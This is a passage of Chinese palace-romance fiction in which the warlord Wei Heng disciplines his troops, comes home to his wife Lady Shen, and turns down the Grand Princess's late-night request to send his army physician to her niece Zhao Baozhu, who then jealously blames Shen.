将寻人的琐事暂且按下,怀安思绪回到正题。卫珩的崛起轨迹清晰而惊人,尤其是三年前与益州豪族沈氏的联姻,堪称一步关键妙棋,沈家兄弟当年亦非甘居人下之辈,颇有自立门户的野心,却被卫珩以武力结合权术生生打服,不得不献出嫡长女以表归附,这桩婚姻,明面上是稳固联盟的纽带。而据他多方打探,这桩政治联姻的内里,似乎还有些不同寻常,传闻卫珩对其妻沈氏颇为爱重,成婚三年,身边竟无其他姬妾,回府必宿于正院。一个野心勃勃,杀伐决断的枭雄,竟对政治联姻的妻子如此专宠?
是沈氏女手段了得,还是这宠爱本身,也是政治姿态的一部分。
英雄难过美人关,温柔乡是英雄冢。
怀安暗自摇头,这位沈夫人目前颇受卫珩宠爱,既如此,礼数上便不可疏忽。
他转头对另一名随从吩咐,“给卫夫人准备的见面礼,务必要得体。”
既然来了这一趟,便不能白来,必须收获颇丰,对对方加深进一步的了解才行。
怀安迈步向驿馆走去。
-
一整日午后,卫珩皆在军营之中处置事务。此番南征大捷,虽扬了军威,却也令部分将士生了骄惰之心,营中颇有几人,自以为立下功劳,便敢懈怠操练,甚至聚众酗酒,赌钱,更有甚者,溜出营去烟花之地逍遥,至次日归营时仍精神萎靡,不成体统。
卫珩治军,向来法度森严,赏罚分明。对此等歪风,他的手段简单而酷烈,杀一儆百。将那几个带头挑事,屡教不改的刺头兵卒毫不留情地拖出,于校场之上当众明正典刑,任谁来求情告饶,他眉峰都不曾动一下。刑场上血光迸溅,哀嚎声戛然而止,浓重的血腥气在夏日的热风中弥漫开来,压得底下将士噤若寒蝉。
这雷霆手段立竿见影。方才还隐隐浮动着散漫之气的军营,瞬间肃杀一片,人人屏息,背脊生寒。待到下午例行操练时,但见阵列整齐,呼喝之声震天,动作一招一式皆沉稳有力,再不敢有半分懈怠轻忽。
卫珩并未离去,他与陆恪二人,同样身形高大挺拔,并肩立于点将台侧,目光扫视着台下操演的军阵。士兵们在那两道冰冷目光的注视下,连大气都不敢喘,挥汗如雨,不敢有丝毫差池。这一站,便是整整一个下午,直到日头西斜,操练方歇。
暮色四合时分,卫珩身边的长随才得空赶往府中,向迎欢禀报,君侯稍后便回。
迎欢得了信,便静静地候在正院门口。等了一会儿便远远瞧见那道高大身影踏着渐浓的夜色归来,
她方迎上前去,仰起白皙的小脸,温声道:“夫君回来了。在营中想必未曾用饭,妾身这边晚膳已备好了。”
卫珩点了点头,面上犹带着白日里未曾散尽的凛冽之气,大步流星走入室内。
他今日显然极为忙碌,连在府衙简单盥洗的功夫都未曾抽出,身上仍穿着下午督练时的那身轻便戎装,甲胄上甚至沾染了未及擦拭的,已呈暗褐色的血点,隐隐透出一股混合着汗液与血腥的独特气味。迎欢上前,正欲如常替他更衣,手刚触及冰凉的甲片,却被他抬手轻轻地阻拦住。
“让下人们来。”他声音低沉,
迎欢会意,退开半步,两个粗壮的婆子连忙上前,小心翼翼地为君侯卸去甲胄与外袍。待那身沾染了沙场气息的沉重衣物褪下,里面雪白的中衣袖口与胸前,果然也洇着几处刺目的血迹,虽已干涸,却依旧触目惊心。迎欢对此早已习以为常,只平静地吩咐下人速去备好沐浴的热水与干净衣物,又命人将一直温着的饭菜重新检视一番。
然而,卫珩沐浴过后,并未立刻用膳,而是径直去了书房。迎欢见状,只得让婆子将饭菜先撤下,仔细温着,待他处理完公务后再传。
夜色已深如黑墨。夏日的夜晚,暑气很旺盛,窗外传来阵阵聒噪的蝉鸣,星星疏朗,一弯弦月静静地悬于檐角。
这般静谧的光景,最易催人入眠,迎欢倚在窗下的软榻上,已是昏昏欲睡,
半梦半醒,听得外间的帘栊轻响,脚步声响起,她以为是他回来了,正欲睁开眼,却先听见门口传来轻轻的叩击声,伴随着大丫鬟春松压低了嗓音的禀报:“夫人......”
春松的语气似乎透着焦急。
迎欢清醒了些,撑起身来,唤她进来。
春松脚步匆忙,脸上带着几分急色:“夫人,长公主那边......赵宝珠小姐好似不大好,说是夜里忽然犯了旧疾,心口绞痛,哭得厉害。长公主殿下派人来,想请君侯身边的金医师过去瞧瞧。”
金医师是卫珩麾下资历最老,医术最为精湛的随军医官,多年来跟随卫珩南征北战,于外伤急症,调理内息上堪称圣手,深得卫珩信任,赵宝珠是长公主的心头肉,她发了急症,长公主第一时间想到的便是这位最好的医师。春松知晓轻重,丝毫不敢耽搁,立刻来禀报了主母。
迎欢坐直身子,问道:“君侯可还在书房?”
“回夫人,还在。”春松点点头,却又补充道,“长公主那边的人,已经直接往书房去了。”她作为迎欢的丫鬟,自然不敢僭越,直接去书房打扰君侯,但长公主的人情急之下,却顾不得这许多规矩了。
书房内,烛火通明。
卫珩手中的朱笔未停,正在一份紧急军报上批注,眉宇间凝着冷肃。门外陡然响起的叩门声与隐约的人语,打断了他的思绪。
他眉头几不可察地一蹙,缓缓地放下了笔。
侍立在侧的侍从观他的面色,心头一跳,连忙轻手轻脚地走到门边,将门拉开了一道缝隙。门外站着的,是长公主身边一位颇有体面的管事嬷嬷,脸上满是焦急。
“君侯,”那嬷嬷顾不得许多,语速极快地道,“宝珠小姐夜里突发心绞痛,痛得厉害,哭晕过去了好几回。殿下心急如焚,想着君侯身边的金医师医术高超,最是稳妥,特命老奴来请,能否请金医师移步,为小姐诊治一番?这夜半急症,拖不得啊!”
侍从听罢,眼皮又是急跳两下。金医师是何等身份?那是专为君侯及其核心将领,处置军中最紧要伤病情治的国手,岂是寻常后宅妇人染恙便可随意调动的,长公主院内自有精通妇科内科,善于调理的医师,何至于深夜来前院书房讨要随军的医官。
他正斟酌着该如何婉转地回绝,还未开口,一个发髻微乱的丫鬟竟直接从他身侧挤了进来,“扑通”一声跪倒在书案前,正是赵宝珠的贴身大丫鬟,她满脸泪痕,声音带着哭腔,“君侯!求您救救我家小姐吧!小姐痛得厥过去了,嘴唇都白了!长公主殿下都快急疯了!求您开恩,让金医师去看看吧!”说罢,竟呜呜咽咽地哭了起来。
这尖锐的哭声在寂静的书房里骤然炸开,侍从吓得魂飞魄散。君侯处理军政要务时,最忌旁人打扰,便是夫人想来送些汤水点心,也需先与他们这些近侍通气,择机而入,绝不敢这般冒失哭嚷。他慌忙上前,连带着门外守着的两名侍卫也迅速进来,一左一右架起那哭泣的丫鬟,就要将她拖出去。
然而,即便人被架出了门外,那压抑又凄楚的哭泣声仍旧顺着门缝丝丝缕缕地钻进来,在这沉静的夜里,显得格外刺耳,
侍从胆战心惊地觑向书案后的君侯。烛光下,卫珩的面色依旧平淡,看不出喜怒,只是那眉心的折痕,分明又深了几分,周身散发出的低气压,已明确透露出被打扰的不耐与不悦。
侍从心里面暗叫不好,同时心里面对外面的哭声非常的烦躁,君侯的脾气本来就不好,如果在这个节骨眼上,君侯待会儿暴怒,受罪的只会是他们这些当下人的。
“去请母亲院中的医师诊治。”淡漠的声音自案后传来,不高,却带着不容置疑的威压,“金医师另有要务,不得擅离。”
侍从心头一凛,连忙躬身应“是”,悄悄地退了出去,轻轻地将书房的门重新合拢,将那恼人的哭声彻底隔绝在外。
长公主的院落此刻已乱作一团。明明已是夤夜,院内却灯火通明,人影憧憧,进出仆妇皆面带惶急。几位擅长妇科内科的医师被匆匆唤来,轮番上前为躺在榻上的赵宝珠诊脉。然而,榻上的美人儿依旧黛眉紧蹙,面色苍白如纸,唇上血色全无,额间渗出细密的冷汗,口中不时溢出痛苦的呻吟,看得长公主心焦如焚,在屋内团团转。
见大丫鬟独自回来,身后并无金医师的身影,长公主急急问道:“金医师呢?可请来了?”
大丫鬟红着眼眶,摇了摇头,
长公主一看到大丫鬟委屈,欲言又止的表情。她的脸色霎时地沉了下来,一股火气直冲头顶。她环顾四周,只见自己院里的医师忙乱,却不见半个旁的院里的人影,连那沈氏也未曾露面来问一声,她声音陡然拔高,带着怒意:“沈氏呢?后宅里出了这么大的事,她作为当家主母,难道不知情?竟连面都不露!”
躺在榻上,虚弱无比的赵宝珠,听得长公主提及“沈氏”,羽睫剧烈地颤动了一下,紧闭的眼角,两行清泪无声无息地滑落,没入鬓发之中,更添几分凄楚可怜。
表哥......竟连金医师都不肯遣来么?肯定是沈氏知道了,阻拦了表哥,不准表哥吩咐让医师过来。
难道在表哥心中,自己这个亲表妹,竟还不如那沈氏的一句话?当真竟不如她的一句话不成。
还是说,表哥当真如此听那沈氏的话,连姨母的情面,连同自己的死活,都全然不顾了?
这念头一起,那心口的疼痛,仿佛真真切切地加剧了几分,让她禁不住蜷缩起身体,发出一声更加哀婉的痛吟。
沈氏!
沈氏!!
当真如此善妒!她都独占了表哥许久了,现在这夜里,说不准双手还在搂着表哥的脖颈,坐在表哥的腿上,在表哥的怀里撒娇卖痴。

